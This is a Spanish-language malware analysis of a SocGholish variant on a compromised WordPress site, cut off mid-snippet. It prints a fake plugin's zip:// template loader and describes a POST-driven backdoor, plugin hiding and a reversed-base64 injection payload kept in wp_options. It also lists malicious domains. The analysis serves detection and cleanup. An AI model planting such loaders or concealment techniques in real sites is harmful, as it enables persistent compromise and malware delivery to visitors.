Nueva variante de malware SocGholish utiliza compresión Zip y técnicas evasivas

Nueva variante de malware SocGholish utiliza compresión Zip y técnicas evasivas

La presencia de nuevas variantes de malware es común, y la evolución y adaptación de las técnicas de ataque son una constante en el mundo de la ciberseguridad. En el caso específico del malware SocGholish, se ha detectado recientemente una nueva variante que utiliza compresión Zip y técnicas evasivas para evadir la detección de los sistemas de seguridad.

La nueva variante de SocGholish utiliza una técnica de compresión Zip para ocultar el archivo ejecutable malicioso dentro de un archivo comprimido, lo que dificulta la detección por parte de los sistemas de seguridad. Además, utiliza técnicas evasivas para engañar a los sistemas de seguridad y evadir la detección, como el uso de nombres de archivo falsos y la modificación del registro de Windows para ocultar su presencia.

Este tipo de técnicas evasivas son comunes en el mundo del malware, y son utilizadas por los atacantes para evitar la detección y el análisis de los sistemas de seguridad. Los expertos en ciberseguridad recomiendan estar alerta y mantener actualizados los sistemas de seguridad, así como utilizar herramientas de detección de amenazas y realizar una buena higiene de seguridad en los sistemas y dispositivos.

Qué es malware SocGholish

El malware SocGholish es un tipo de software malicioso o «malware» que se utiliza para robar información personal y financiera de los usuarios de Internet. El malware se propaga a través de sitios web comprometidos y anuncios maliciosos, y se oculta en descargas aparentemente legítimas. Una vez que el malware infecta un dispositivo, se instala en el sistema y comienza a recopilar información sensible, como contraseñas, números de tarjetas de crédito y otra información financiera.

Es un tipo de malware muy sofisticado y peligroso que utiliza técnicas avanzadas de evasión para evitar la detección por parte de los sistemas de seguridad. Además, es capaz de realizar ataques dirigidos a bancos y sitios web de comercio electrónico específicos para robar información de las cuentas bancarias de los usuarios.

Para protegerse contra el malware, se recomienda mantener actualizados los sistemas de seguridad, utilizar herramientas de detección de amenazas y evitar descargar software o archivos de sitios web no confiables. También es importante tener precaución al hacer clic en enlaces o anuncios en línea y mantener una buena higiene de seguridad en los sistemas y dispositivos.

Síntomas de la infección

Un nuevo cliente acudió a nosotros informándonos de que los usuarios de su sitio web estaban experimentando descargas maliciosas. Al investigar descubrimos descargas de archivos iniciadas al acceder al sitio web con nombres como Auto.Update.Zip y Chrome.Update.zip.

La inspección del código fuente del sitio web reveló inmediatamente el conocido JavaScript ofuscado de SocGholish:

Código malicioso en functions.php

En la parte inferior del archivo functions.php de su tema había una línea de código que me hizo levantar la ceja 🤨:

La función strrev de PHP es la abreviatura de string reverse; invierte el código en cuestión. En este caso strrev( «//:piz» ) se convierte en zip:// – un protocolo de compresión soportado por PHP a través de la extensión ZIP.

WordPress permite que los archivos de plantilla se carguen en un tema mediante el uso de la función load_template; esencialmente permitiendo que el código PHP se cargue desde archivos personalizados e incluidos dentro de los temas de WordPress. Pero, ¿por qué un tema utilizaría un archivo comprimido como plantilla PHP?

Esta cadena //:piz también se encontró en un plugin instalado en el sitio web, aunque allí no se identificó ningún archivo .template de este tipo:

/**
 * Plugin Name:  Theme Template
 * Description:  theme template loader plugin.
 * Version: 6.1.1
 * License: GPL v2 or later
 * License URI: https://www.gnu.org/licenses/gpl-2.0.html
 */

function wp_theme_template_load() {

    load_template( strrev( "//:piz" ) . locate_template( "theme.template" ) . "#template", true );

}

add_action( 'wp_loaded', 'wp_theme_template_load' );

Echemos un vistazo a este archivo .template que se encuentra en el directorio del tema y veamos qué contiene.

Técnicas evasivas

Una vez abierto y extraído el archivo comprimido .template quedó claro que formaba parte de la infección:

Los atacantes utilizaban la compresión de archivos para evitar ser detectados por los escáneres de malware. Esto también les permitió mantener al mínimo la huella dentro de los archivos de temas modificados.

Un análisis más detallado reveló que este malware comprimido contiene tres componentes. El primero de ellos (mostrado arriba) es una puerta trasera que carga parámetros de solicitud POST codificados y los utiliza para ejecutar código. También incluye código de un archivo de terceros (definido por los parámetros POST).

Una sección adicional de malware oculta un plugin malicioso e impide que aparezca en la lista de plugins activos del panel de administración de WordPress:

El nombre del plugin se construye como

-template-plugin.

Y, por último, el componente más crucial es el responsable de inyectar el malware en las páginas web:

Preste especial atención a la variable $s:

 $s = get_option(get_stylesheet().'-template-plugin', '');

La función get_option toma el contenido de la opción -template-plugin de la tabla de la base de datos wp_options, donde es el nombre del tema actual. Unas líneas más abajo podemos ver que está decodificando el valor recuperado usando las funciones strrev y base64_decode. Tocaremos este tema momentáneamente.

Una vez decodificados los resultados se encuentran como JSON que contiene una variable de código. El malware inyecta el contenido de esta variable en todas las páginas públicas de WordPress. Sin embargo, la inyección sólo se produce cuando se cumplen dos condiciones específicas:

  • El visitante no ha iniciado sesión (comprobando el valor devuelto por la función is_user_logged_in)
  • El visitante proviene de un sitio de terceros (tiene una cabecera HTTP_REFERER establecida que es diferente a la del propio sitio comprometido)

Carga útil en la base de datos

Al igual que otras infecciones inteligentes que he visto en el pasado, el JavaScript malicioso encontrado en el código fuente del sitio web se escondía en la base de datos y se ocultaba como una cadena codificada inversamente en base64:
database
Una vez que invertimos la cadena y decodificamos el base64 nos encontramos con el mismo JavaScript ofuscado que se ve inicialmente en el código fuente:

base64_obfuscated_javascript

Mantener la carga útil principal en la base de datos es una táctica inteligente que los atacantes utilizan a veces para ocultar su malware. En la mayoría de los casos, el software de seguridad analiza los archivos y supervisa su integridad y los indicadores de peligro, pero con menos frecuencia supervisa directamente el contenido de las bases de datos. Al mantener la huella dentro de la estructura de archivos al mínimo, los atacantes pueden pasar más desapercibidos.

Huella del malware

En general, el malware afecta a los siguientes archivos y tablas de bases de datos:

  • wp-content/themes/theme-name/functions.php – Este archivo de tema carga una plantilla maliciosa comprimida.
  • wp-content/themes/theme-name/theme-name-template – Esta plantilla maliciosa comprimida contiene un backdoor. También inyecta en las páginas web el script SocGholish almacenado en la base de datos de WordPress.
  • wp-content/plugins/theme-name-template-plugin – Este plugin falso carga una plantilla maliciosa comprimida.
  • wp_options.theme-name-template-plugin – Este registro de base de datos que se encuentra en la tabla wp_options almacena el script SocGholish codificado.

JavaScript malicioso

La variante del malware SocGholish no es legible por humanos y a primera vista parece una completa basura.

Por ejemplo, la URL del script SocGholish tiene este aspecto:

lhptitnpjsb:z/c/zcgoeurrasqes.hnpentupjiacikmsatmriaudqionegf.lccormb/eriefpsodrpty?xrt=hdcjp1omjZwmyZwjkMbjiJuifOeDkJcjtNwGoYg0fNzzmkswlMwDyVfjeNbyyZjjdaxWqQx9dMqjgcgyy

Sin embargo, una vez eliminada la ofuscación quitando todos los caracteres impares, podemos ver la fuente en texto plano:

Este código está claramente comprobando si la cadena de Windows está presente en la cabecera del agente de usuario. Entrega el payload desde course.netpickstrading.com. Otros dominios SocGholish utilizados recientemente por esta campaña incluyen shipwrecks.ggentile.com y community.backpacktrader.com.

¡Que se alegren los usuarios de Linux y Mac! Actualmente, este malware no puede molestarse en atacarte (aunque eso puede cambiar en el futuro, por lo que sabemos).

SocGholish cid=272

La URL de SocGholish para esta campaña específica utiliza el parámetro «report?r=dj1mZmZjMjJiODJjNGY0NzkwMDVjNyZjaWQ9Mjcy», que además se descodifica como «v=fffc22b82c4f479005c7&cid=272«, que revela el (supuesto) ID de campaña 272.

En este punto hemos observado que este cid sólo es utilizado por este tipo específico de malware que aprovecha plantillas php comprimidas e invierte JavaScript SocGholish codificado en base64 almacenado en una base de datos, aunque también se puede encontrar este código SocGholish inyectado en algunos archivos .js en los sitios comprometidos.

Las campañas de SocGholish con otros cids (por ejemplo, NDSW/NDSX) siguen utilizando diferentes enfoques de infección.

Comentario Siteurl

Esta campaña en particular también puede identificarse por el comentario «<!-siteurl:tudominio.com->» que se encuentra delante del script SocGholish en las páginas web comprometidas.

Este comentario HTML forma parte de la carga útil. En cada sitio, los atacantes personalizan el código almacenado en la opción de la base de datos para incluir este comentario con el nombre de dominio que coincide con el sitio comprometido. Se puede ver que el contenido de la variable de código comienza realmente con este comentario siteurl.

{"code":"\n\n\n